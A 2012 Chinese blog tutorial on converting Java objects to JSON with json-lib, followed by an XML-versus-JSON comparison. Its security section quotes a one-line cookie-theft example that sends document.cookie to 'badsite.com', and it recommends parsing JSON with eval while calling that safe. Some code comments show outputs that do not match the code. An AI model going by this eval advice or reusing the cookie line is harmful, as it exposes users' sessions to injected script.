Java对象转换为Json对象

2012-08-04

前言

曾几何时，XML是程序员的宠儿，是数据传输、API、AJAX应用等方面的不二选择，但自从JSON横空出世后，或者你会发觉你身边就有很多人开始抛弃XML，在他们的心目中，JSON已经完全取代了XML的位置。JSON有很多优势，但也存在缺点，而XML虽然确实存在不少问题，但孰优孰劣，并不是可以依据个人喜好就轻易得出结论的。

JSON(Javascript Object Notation) 是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于Javascript Programming Language, Standard ECMA-262 3rd Edition – December 1999的一个子集。JSON采用完全独立于语言的文本格式，但是也使用了类似于C语言家族的习惯（包括C, C++, C#, Java, Javascript, Perl, Python等）。这些特性使JSON成为理想的数据交换语言。 正是因为这样，twitter已经声称他们的流媒体API将不再支持XML，Foursquare则强烈推荐开发者在使用他们的API时选择JSON，因为他们计划下一代接口只支持JSON。

注* 在进行编码前还需要 commons-beanutils-1.7.0.jar 、 commons-lang-2.5.jar 、commons-logging-1.0.4.jar 、 ezmorph-1.0.6.jar 、 json-lib-1.1-jdk15.jar

morph-1.1.1.jar

import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;

import net.sf.json.JSONArray;
import net.sf.json.JSONObject;

import com.ch.entity.JSONTestBean;
import com.ch.entity.Props;

/**
* Java对象转换为Json对象
* @author CHH
* @since 2012-08-04
*/

public class TestJson {

public static void main(String[] args) {
TestJson j = new TestJson();
j.ObjectList2json();
}

/**
* List对象转换为Json
*/
public void ObjectList2json() {
Map map = new HashMap();
List jlist = new ArrayList();
//JSONTestBean类的构造方法
JSONTestBean bean1 = new JSONTestBean("zhangbo", "123123");
JSONTestBean bean2 = new JSONTestBean("lisi", "65489");
//Props类的构造方法
Props props = new Props("127.0.0.1", "8008");
jlist.add(bean1);
jlist.add(bean2);
map.put("Props", props);
map.put("jsonObjectList", jlist);
JSONArray jsonArray = JSONArray.fromObject(map);
System.out.println(jsonArray);
}

/**
* 布尔数组转换为Json
*/
public void arr2json() {
boolean[] boolArray = new boolean[] { true, false, true };
JSONArray jsonArray = JSONArray.fromObject(boolArray);
System.out.println(jsonArray);
// prints [true,false,true]
}

/**
* List转换为Json
*/
public void list2json() {
List list = new ArrayList();
list.add("first");
list.add("second");
JSONArray jsonArray = JSONArray.fromObject(list);
System.out.println(jsonArray);
// prints ["first","second"]
}

/**
* 创建Json格式的数据
*/
public void createJson() {
JSONArray jsonArray = JSONArray.fromObject("['json','is','easy']");
System.out.println(jsonArray);
// prints ["json","is","easy"]
}

/**
* Map转换为Json
*/
public void map2json() {
Map map = new HashMap();
map.put("name", "json");
map.put("bool", Boolean.TRUE);
map.put("int", new Integer(1));
map.put("arr", new String[] { "a", "b" });
map.put("func", "function(i){ return this.arr[i]; }");

JSONObject json = JSONObject.fromObject(map);
System.out.println(json);
// prints
// ["name":"json","bool":true,"int":1,"arr":["a","b"],"func":function(i){
// return this.arr[i]; }]
}

/**
* 类对象转换为Json
*/
public void bean2json() {
JSONObject jsonObject = JSONObject.fromObject(new JSONTestBean(
"zhangbo", "234234"));
System.out.println(jsonObject);
/*
* prints {"func1":function(i){ return this.options[i];
* },"pojoId":1,"name":"json","func2":function(i){ return
* this.options[i]; }}
*/
}

/**
* Json转换为类对象
*/
public void json2bean() {
String json = "{name=\"json2\",func1:true,pojoId:1,func2:function(a){ return a; },options:['1','2']}";
// JSONObject jb = JSONObject.fromString(json);
// JSONObject.toBean(jb, MyBean.class);
System.out.println(json);
}

}

其他两个实体类：

View Props

/**
*
* @author CHH
* @since 2012-08-04
*/
public class Props {

private String ip;
private String port;

public Props() {
}

public Props(String ip, String port) {
this.ip = ip;
this.port = port;
}

public String getIp() {
return ip;
}

public void setIp(String ip) {
this.ip = ip;
}

public String getPort() {
return port;
}

public void setPort(String port) {
this.port = port;
}

}

CHH博客将从下面几个方面来客观比较一下两者

1. 可读性

2. 是否易于在服务端创建数据

3. 是否易于在客户端处理数据

4. 扩展性

5. 调试和故障排除

6. 安全

可读性

两者都具备很好的可读性，但从实际应用出发，个人还是觉得XML文档的可读性无疑会更高，要求你从一大堆的json代码里看出它的结构层次关系还是相对比较困难的；而且现在很多的IDE工具都可以把XML格式化成易读的结构形式，看起来相当舒服，而json则不然。在这一方面我投XML一票。

是否易于在服务端创建数据

XML已经流行了好多年了，故目前流行的编程语言都已经存在大量的XML数据绑定API去进行创建XML，以java语言为例，你既可以用JAXB，又可以用XmlBeans，又或者dom4j、jdom等去把数据写到xml文件中。而另一方面，json这一方面的API则相对是一个全新的领域，尽管如此，json官方网站还是列出了很多令人印象深刻的各种语言的API，java方面比较著名的有json-lib，此外gson也算一个。在这一方面，虽然json相对于XML并不是望尘莫及，但还是略微逊色一筹，尤其是在复杂的应用方面，XML方面的API已经存在多年，相对来说成熟稳定得多了。

是否易于在客户端处理数据

在客户端，要处理XMLHttpRequest请求返回的json格式响应数据是一件轻而易举的事情，只需要使用javascript的eval函数就可以实现把json格式的数据转换成javascript对象，然后通过对象的属性去访问值，这就是json最优雅之处，无数人为之着迷。而XML在这一方面就不是那么的友善了，曾令无数的程序员头痛不已，因为处理XML响应数据，你得通过DOM树，这是非常繁琐且容易出错的工作。这一点，我毫不犹豫地选择json。

扩展性

可扩展性有助于减少生产者与消费者之间的数据耦合。在AJAX应用里，客户端脚本应该合理地兼容不可知的数据扩展。

毫无疑问，XML是可扩展的，但它的扩展是有局限的，因为如果你要适应扩展的话，那么你的客户端代码不得不作出相应的改动，如以下的客户端解析代码

var xml = xhr.responseXML;
var elements = xml.getElementsByTagName("firstName");
var firstNameEl = elements[0];
var lastNameEl = firstNameEl.nextSibling;

如果你在响应xml中<firstName>结点后增加了<middlename>这一结点的话，那以上的代码就要作相应的改变，否则会出错，也就是说，XML的扩展得伴随着解析代码的变更，这可没有什么魔法可言。而json则简单得多，即使你要增加middleName这一属性，在js客户端依然是通过对象访问属性值即可，而不会引起js上的语法出错之类的错误，导致程序无法执行。

调试和故障排除

这方面需要从服务端和客户端两方面进行考虑，在服务器端，要确保数据是格式良好的和有效的；在客户端，它应该容易调试错误的。

使用XML的话会相对容易地检查数据被发送到客户端是格式良好的和有效的。您还可以使用数据架构（schema）来验证xml的正确性和有效性。使用JSON，这个任务是手动的，并涉及验证响应对象中是否包含正确的属性。

在客户端，要从两者中找到错误都是比较困难的。对于XML，浏览器是完全无法将xml格式化成responseXML；如果对于数据量较少的json数据，还可以通过firebug来发现错误，但对于大数据量的话，那只能靠手工检查了，否则也只能坐以待毙了。
安全性

有人认为，使用json是不安全的，原因是json里可以包含js代码，而客户端中使用eval可以使这些代码执行，而这些代码可能会存在安全隐患。如以下的代码：

window.location = "<a href="http://badsite.com/">http://badsite.com</a>?" + document.cookie;
person : {
"firstName" : "Subbu",
"lastName" : "Allamaraju"
}

上面的代码会导致浏览器把用户的cookie数据提交到一个流氓网站。但出现这种情况的可能只会是开发者故意为之，别人是无法这样做的，但如果是开发者有意为之的话，那他一样以别的方式来实现把你的cookie数据提交到流氓网站，这与是否使用json无关，所以相对于XML，json是同样的安全的。

我的结论

面向数据的应用，个人比较喜欢使用json，因为它简单和易于在客户端进行处理，或者xml在服务器是无与伦比的，但json在客户端的优势也是很明显的。

另外，json官方也有一篇专门比较两者的文章，大家可以参考一下：《JSON: The Fat-Free Alternative to XML》